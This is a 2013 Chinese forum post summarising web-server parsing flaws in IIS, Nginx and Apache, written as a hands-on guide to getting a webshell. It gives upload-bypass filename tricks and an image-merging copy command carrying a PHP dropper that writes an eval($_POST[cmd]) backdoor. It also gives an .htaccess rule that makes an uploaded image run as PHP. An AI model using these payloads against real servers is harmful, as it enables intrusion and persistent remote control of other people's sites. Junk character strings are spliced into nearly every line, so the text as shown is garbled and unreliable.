找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2846|回复: 0
打印 上一主题 下一主题

常见服务器解析漏洞总结

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:14:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Author : laterain) A$ i. Q% j; ]- W
[+]IIS6.0
$ u' e0 s3 W5 `3 \/ ]) H% y0 T
" j0 G# u0 ?: x' L" B8 K" l目录解析:/xx.asp/xx.jpg 8 Z* Q# ^9 B& k( F, s5 w0 n5 L
xx.jpg 可替换为任意文本文件(e.g. xx.txt),文本内容为后门代码  H/ i7 M, q& r! O; I3 g
IIS6.0 会将 xx.jpg 解析为 asp 文件。5 B/ E  `( Y" {  b9 @- Z
后缀解析:/xx.asp;.jpg     . C4 ?% Z! p' k" l
IIS6.0 都会把此类后缀文件成功解析为 asp 文件。) s! a. C& O* u) D* I
默认解析:/xx.asa
) q+ l+ y6 T, d         /xx.cer
. }* C" r3 O: T$ w7 w& Z% \* F& E         /xx.cdx4 }4 w6 j$ S1 [- j+ k
IIS6.0 默认的可执行文件除了 asp 还包含这三种9 P7 W  c( x) U9 X' X6 e
此处可联系利用目录解析漏洞 ) k+ z( a: h- N5 X5 B
/xx.asa/xx.jpg 或 /xx.cer/xx.jpg 或 xx.asa;.jpg; @! Z( U4 L) P! z
[+]IIS 7.0/IIS 7.5/Nginx <0.8.03
7 _) ^9 {) n) D
4 r; y/ G& d6 f% M* y IIS 7.0/IIS 7.5/Nginx <0.8.03% y& R) [: A; P" X
在默认Fast-CGI开启状况下,在一个文件路径(/xx.jpg)后面8 i+ `- }7 F$ e2 N' x) E" M
加上/xx.php,会将 /xx.jpg/xx.php 解析为 php 文件。0 j3 C7 w% ~; w+ ]
常用利用方法:( e. y1 J0 H  b5 ~6 y+ P; d) b/ ~2 }
将一张图和一个写入后门代码的文本文件合并将恶意文本6 M6 b: _' q/ S/ J9 D1 m
写入图片的二进制代码之后,避免破坏图片文件头和尾
7 b% T" U6 }1 T" h 如:9 H7 X- n$ T4 ?/ K5 I% t* Q
copy xx.jpg /b + yy.txt/a xy.jpg
$ |1 u* d" b2 U1 {8 { #########################################################% b0 Y* D# M9 M# P; d
/b 即二进制[binary]模式6 _( e0 G! P- _! J$ ]# a9 w% h
/a 即ascii模式
  u, ]. T& p; ~, @ xx.jpg 正常图片文件3 O4 m5 k/ a& @' j' V' M/ B
yy.txt 内容 <?PHP fputs(fopen('shell.php','w'),
2 z- h  b' z4 E6 Q2 ?/ E  K! [. J '<?php eval($_POST[cmd])?>');?>
$ ?: p9 L6 G9 h9 K: z 意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称7 a4 Q) ^4 V7 d
为shell.php的文件4 j4 H3 X" [# G9 {2 c" g
###########################################################+ M& F% l* |& @/ D# O
找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php 9 n9 [- H. R% ?9 e5 X+ e
即可执行恶意文本。然后就在图片目录下生成一句话木马 shell.php . ^. X4 O7 W% P; S2 x0 f! ]- n
密码 cmd
3 ~9 p& \9 e8 M) J  z[+]Nginx <0.8.036 f4 [1 w" \4 ?: K: t5 v
* P- J: V2 ^- T+ L* W- @, f/ Y5 X
在Fast-CGI关闭的情况下,Nginx <0.8.03依然存在解析漏洞0 c$ o( |* w2 k" `2 K) w
在一个文件路径(/xx.jpg)后面加上%00.php& I3 T! [7 J2 }8 g) b$ t
会将 /xx.jpg%00.php 解析为 php 文件。2 ^# V# L' m$ T. x; d8 B7 `6 I! A
[+]Apache<0.8.03
0 |2 m' Z' C6 J, k. J' e- ~3 r
" v: K% L! z' K5 p! K: {- N 后缀解析:test.php.x1.x2.x3& a6 w* f: ?+ T/ s/ j' ~
Apache将从右至左开始判断后缀,若x3非可识别后缀,
+ C& Q% s$ v7 i- M1 H: q6 [6 g 再判断x2,直到找到可识别后缀为止,然后将该可识别
" A8 E" b/ o0 D4 Y6 j5 b/ E 后缀进解析test.php.x1.x2.x3 则会被解析为php1 j; p3 l* @5 H+ \6 ^4 a" C5 D5 e% _
经验之谈:php|php3|phtml 多可被Apache解析。; e* X- F, Y6 L8 M' y" a
[+]其他一些可利用的
1 s' ^; `0 v/ h. f9 q
, {' L: v$ y8 X2 Z+ l. k1 ]在windows环境下,xx.jpg[空格] 或xx.jpg. 这两类文件都是不允许存在的/ C' N1 ?; I* L; `  A
若这样命名,windows会默认除去空格或点,这也是可以被利用的!3 O0 ~! r/ R! k7 v% D6 h
在向一台windows主机上传数据时,你可以抓包修改文件名,在后面加个空格. Y& C" G& a4 t! R
或点,试图绕过黑名单,若上传成功,最后的点或空格都会被消除,这样就可9 e9 b+ U+ t$ F
得到shell。我记得Fck Php 2.6就存在加空格绕过的漏洞。7 \5 I- ?' N* x7 N' S
{Linux主机中不行,Linux允许这类文件存在}
8 ?/ K& S. ~+ _! Z如果在Apache中.htaccess可被执行(默认不执行,这是90sec里的一位朋友说
. P" A2 n4 @3 L( G- L" B+ I7 b+ L的,当初我并不知道),且可以被上传,那可以尝试在+ x4 M5 N! X" P- p1 C
.htaccess中写入:
7 }9 \. u6 l: d! Z) H; z# K4 O<FilesMatch “shell.jpg”> 6 U" ]/ {7 H& `0 \" {3 w
SetHandler application/x-httpd-php 4 D# B2 t) b' r, ]8 }
</FilesMatch>
. s# _" O8 j( R" L$ w3 Wshell.jpg换成你上传的文件,这样shell.jpg就可解析为php文件7 Q" R4 `2 w( y% i( {7 h
[+]错误修改
% v7 j7 F; G% c; W. i' o% M8 S7 x / R4 N, _# ?. o# H+ A& I2 A& ~
在 IIS 6.0 下可解析 /xx.asp:.jpg' p6 Q+ W) B) c* J7 R
{/xx.asp:.jpg 此类文件在Windows下不允许存在,:.jpg被自动除去8 p% Y, s6 N: _+ a! Z2 M
剩下/xx.asp}修改:6 y4 B3 {  p, h% c2 [
先谢谢核攻击的提醒
( f( }8 C6 z1 ~6 E当上传一个/xx.asp:.jpg文件时,的确:.jpg会消失,但是现在的/xx.asp
5 S" {6 U6 Y- v' l! [: M里是没有任何内容的,因为。。不好解释 大家自己看0 S! k+ z! x/ B1 J' v
http://lcx.cc/?i=2448
) ]3 p' ?, _8 q$ y" ehttp://baike.baidu.com/view/3619593.htm
* D6 F2 q+ [- |* l6 \; m! @: ^( \* ^. g' H9 a  q
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表